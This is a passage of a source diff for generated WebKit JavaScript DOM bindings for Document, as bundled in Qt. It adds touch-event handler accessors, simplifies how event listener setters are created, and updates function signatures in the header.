+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDocumentOntouchmove(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchmove()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDocumentOntouchend(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchend()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDocumentOntouchcancel(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchcancel()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+JSValue jsDocumentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDocument* domObject = static_cast<JSDocument*>(asObject(slotBase));
     return JSDocument::getConstructor(exec, domObject->globalObject());
 }
 void JSDocument::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -1030,7 +1207,8 @@ void JSDocument::put(ExecState* exec, const Identifier& propertyName, JSValue va
 
 void setJSDocumentXMLVersion(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setXMLVersion(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
@@ -1038,7 +1216,8 @@ void setJSDocumentXMLVersion(ExecState* exec, JSObject* thisObject, JSValue valu
 
 void setJSDocumentXMLStandalone(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setXMLStandalone(value.toBoolean(exec), ec);
     setDOMException(exec, ec);
@@ -1046,19 +1225,22 @@ void setJSDocumentXMLStandalone(ExecState* exec, JSObject* thisObject, JSValue v
 
 void setJSDocumentDocumentURI(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     imp->setDocumentURI(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSDocumentTitle(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     imp->setTitle(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSDocumentDomain(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setDomain(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
@@ -1066,13 +1248,17 @@ void setJSDocumentDomain(ExecState* exec, JSObject* thisObject, JSValue value)
 
 void setJSDocumentCookie(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    imp->setCookie(valueToStringWithNullCheck(exec, value));
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
+    ExceptionCode ec = 0;
+    imp->setCookie(valueToStringWithNullCheck(exec, value), ec);
+    setDOMException(exec, ec);
 }
 
 void setJSDocumentBody(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setBody(toHTMLElement(value), ec);
     setDOMException(exec, ec);
@@ -1085,13 +1271,15 @@ void setJSDocumentLocation(ExecState* exec, JSObject* thisObject, JSValue value)
 
 void setJSDocumentCharset(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     imp->setCharset(valueToStringWithNullCheck(exec, value));
 }
 
 void setJSDocumentSelectedStylesheetSet(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    JSDocument* castedThisObj = static_cast<JSDocument*>(thisObject);
+    Document* imp = static_cast<Document*>(castedThisObj->impl());
     imp->setSelectedStylesheetSet(valueToStringWithNullCheck(exec, value));
 }
 
@@ -1099,391 +1287,310 @@ void setJSDocumentOnabort(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnabort(globalObject->createJSAttributeEventListener(value));
+    imp->setOnabort(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnblur(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnblur(globalObject->createJSAttributeEventListener(value));
+    imp->setOnblur(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnchange(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnchange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnchange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnclick(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOnclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOncontextmenu(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncontextmenu(globalObject->createJSAttributeEventListener(value));
+    imp->setOncontextmenu(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndblclick(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndblclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOndblclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndrag(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndrag(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrag(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndragend(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragend(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragend(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndragenter(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragenter(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragenter(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndragleave(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragleave(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragleave(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndragover(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragover(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndragstart(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragstart(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOndrop(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndrop(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrop(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnfocus(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnfocus(globalObject->createJSAttributeEventListener(value));
+    imp->setOnfocus(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOninput(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOninput(globalObject->createJSAttributeEventListener(value));
+    imp->setOninput(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOninvalid(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOninvalid(globalObject->createJSAttributeEventListener(value));
+    imp->setOninvalid(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnkeydown(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeydown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeydown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnkeypress(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeypress(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeypress(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnkeyup(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeyup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeyup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnload(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnload(globalObject->createJSAttributeEventListener(value));
+    imp->setOnload(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmousedown(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousedown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousedown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmousemove(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousemove(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousemove(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmouseout(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseout(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseout(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmouseover(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseover(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmouseup(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnmousewheel(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousewheel(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousewheel(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnscroll(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnscroll(globalObject->createJSAttributeEventListener(value));
+    imp->setOnscroll(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnselect(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnselect(globalObject->createJSAttributeEventListener(value));
+    imp->setOnselect(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnsubmit(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnsubmit(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsubmit(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnbeforecut(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforecut(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforecut(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOncut(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncut(globalObject->createJSAttributeEventListener(value));
+    imp->setOncut(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnbeforecopy(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforecopy(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforecopy(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOncopy(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncopy(globalObject->createJSAttributeEventListener(value));
+    imp->setOncopy(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnbeforepaste(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforepaste(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforepaste(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnpaste(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnpaste(globalObject->createJSAttributeEventListener(value));
+    imp->setOnpaste(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnreset(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnreset(globalObject->createJSAttributeEventListener(value));
+    imp->setOnreset(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnsearch(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnsearch(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsearch(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDocumentOnselectstart(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnselectstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOnselectstart(createJSAttributeEventListener(exec, value, thisObject));
+}
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDocumentOntouchstart(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    imp->setOntouchstart(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDocumentOntouchmove(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    imp->setOntouchmove(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDocumentOntouchend(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    imp->setOntouchend(createJSAttributeEventListener(exec, value, thisObject));
 }
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDocumentOntouchcancel(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(static_cast<JSDocument*>(thisObject)->impl());
+    imp->setOntouchcancel(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
 
 JSValue JSDocument::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDocument.h b/src/3rdparty/webkit/WebCore/generated/JSDocument.h
index 7b72b9b..f44c5ab 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDocument.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDocument.h
@@ -34,7 +34,6 @@ class JSDocument : public JSNode {
     typedef JSNode Base;
 public:
     JSDocument(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<Document>);
-    virtual ~JSDocument();
     static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
     virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
@@ -44,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -85,7 +84,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDocumentPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -133,125 +132,133 @@ JSC::JSValue JSC_HOST_CALL jsDocumentPrototypeFunctionQuerySelector(JSC::ExecSta
 JSC::JSValue JSC_HOST_CALL jsDocumentPrototypeFunctionQuerySelectorAll(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDocumentDoctype(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentImplementation(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentDocumentElement(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentInputEncoding(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentXMLEncoding(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDocumentXMLVersion(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDocumentDoctype(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentImplementation(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentDocumentElement(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentInputEncoding(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentXMLEncoding(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDocumentXMLVersion(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDocumentXMLVersion(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDocumentXMLStandalone(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
